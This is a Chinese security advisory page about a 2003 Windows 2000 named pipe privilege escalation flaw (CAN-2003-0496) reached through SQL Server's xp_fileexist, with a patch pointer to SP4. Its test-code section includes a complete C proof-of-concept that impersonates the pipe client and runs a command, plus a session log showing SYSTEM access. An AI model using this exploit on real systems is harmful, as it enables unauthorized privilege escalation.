xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Microsoft Windows CreateFile API命名管道权限提升漏洞


发布时间:2003-07-08
更新时间:2003-07-15
严重程度:
威胁程度:本地管理员权限
错误类型:设计错误
利用方式:服务器模式

BUGTRAQ ID:8128
CVE(CAN) ID:CAN-2003-0496

受影响系统
Microsoft Windows 2000 Advanced Server SP3        
Microsoft Windows 2000 Advanced Server SP2        
Microsoft Windows 2000 Advanced Server SP1        
Microsoft Windows 2000 Advanced Server            
Microsoft Windows 2000 Datacenter Server SP3      
Microsoft Windows 2000 Datacenter Server SP2      
Microsoft Windows 2000 Datacenter Server SP1      
Microsoft Windows 2000 Datacenter Server          
Microsoft Windows 2000 Professional SP3          
Microsoft Windows 2000 Professional SP2          
Microsoft Windows 2000 Professional SP1          
Microsoft Windows 2000 Professional              
Microsoft Windows 2000 Server SP3                
Microsoft Windows 2000 Server SP2                
Microsoft Windows 2000 Server SP1                
Microsoft Windows 2000 Server                    
Microsoft Windows 2000 Terminal Services SP3      
   +Microsoft Windows 2000 Advanced Server SP3    
   +Microsoft Windows 2000 Datacenter Server SP3  
   +Microsoft Windows 2000 Server SP3            
Microsoft Windows 2000 Terminal Services SP2      
   +Microsoft Windows 2000 Advanced Server SP2    
   +Microsoft Windows 2000 Datacenter Server SP2  
   +Microsoft Windows 2000 Server SP2            
Microsoft Windows 2000 Terminal Services SP1      
   +Microsoft Windows 2000 Advanced Server SP1    
   +Microsoft Windows 2000 Datacenter Server SP1  
   +Microsoft Windows 2000 Server SP1            
Microsoft Windows 2000 Terminal Services          
   +Microsoft Windows 2000 Advanced Server        
   +Microsoft Windows 2000 Datacenter Server      
   +Microsoft Windows 2000 Server
未影响系统
Microsoft Windows 2000 Advanced Server SP4      
Microsoft Windows 2000 Datacenter Server SP4    
Microsoft Windows 2000 Professional SP4        
Microsoft Windows 2000 Server SP4              
Microsoft Windows 2000 Terminal Services SP4    
   +Microsoft Windows 2000 Advanced Server SP4  
   +Microsoft Windows 2000 Datacenter Server SP4
   +Microsoft Windows 2000 Server SP4
详细描述
Microsoft Windows未能正确处理CreateFile API建立的命名管道,当以此命名管道作为参数传递给SQL Server的xp_fileexist存储过程时会导致攻击者以SQL进程的权限执行任意命令。

测试代码
C:\>mssqlpipe.exe cmd.exe
Creating pipe: \\.\Pipe\atstake
Pipe created, waiting for connectection
Connect to the database (with isql for example) and execute:
xp_fileexist '\\SERVERNAME\pipe\atsstake'

Then in command shell #2:

C:\>isql -U andreas
Password:
1> xp_fileexist '\\TEMP123\pipe\atstake'
2> go
File Exists File is a Directory Parent Directory Exists
----------- ------------------- -----------------------
1 0 1

Then, back in command shell #1:

Impersonate user successful, we are running as user: SYSTEM

/*  tac0tac0.c - pay no attention to the name, long
story...
  *
  *  Author:  Maceo
  *  Modified to take advantage of CAN-2003-0496 Named
Pipe Filename
  *  Local Privilege Escalation Found by @stake. Use with
their Advisory.
  *  -wirepair@sh0dan.org http://sh0dan.org
  *
  *
  *  All credits for code go to Maceo, i really did
minimal work
  *  with his code, it took me like 3 seconds heh.
  *  Shouts to #innercircle,
  *
  */


#include <stdio.h>
#include <windows.h>


int main(int argc, char **argv)
{
   DWORD dwNumber = 0;
   DWORD dwType = REG_DWORD;
   DWORD dwSize = sizeof(DWORD);

   if (argc != 2) {
      fprintf(stderr, "Usage: %s <cmd.exe>\nNamed Pipe Local
Priv Escalation found by @stake.\n"
                       "This code is to be used with MS-SQL exactly as
outlined in their advisory\n"
                       "All credit for this code goes to Maceo, he did a
fine job.. -wire\n",argv[0]);
                       exit(1);
   }
   // build the next named pipe name //
   char szPipe[64];
   //sprintf(szPipe, "\\\\.\\pipe\\net\\NtControlPipe%lu",
++dwNumber);
   sprintf(szPipe, "\\\\.\\pipe\\poop");

   // create the named pipe before scm can //
   HANDLE hPipe = 0;
   hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
                            PIPE_TYPE_MESSAGE|PIPE_WAIT,
                            2, 0, 0, 0, NULL);
   if (hPipe == INVALID_HANDLE_VALUE)
   {
     printf ("Failed to create named pipe:\n  %s\n",
szPipe);
     return 3;
   }


   ConnectNamedPipe (hPipe, NULL);

   // assume the identity of the client //
   if (!ImpersonateNamedPipeClient (hPipe))
   {
     printf ("Failed to impersonate the named pipe.\n");
     CloseHandle(hPipe);
     return 5;
   }


   // display impersonating users name //
   dwSize  = 256;
   char szUser[256];
   GetUserName(szUser, &dwSize);
   printf ("Impersonating: %s\n", szUser);

   system(argv[1]);
   CloseHandle(hPipe);
   return 0;
}

解决方案
厂商已经在最新的补丁包中修补了此漏洞:

Microsoft Windows 2000 Server SP3:
      Microsoft Upgrade Windows 2000 SP4
      http://www.microsoft.com/windows2000/downloads/servicepacks/sp4/default.asp

相关信息
Named Pipe Filename Local Privilege Escalation
http://www.atstake.com/research/advisories/2003/a070803-1.txt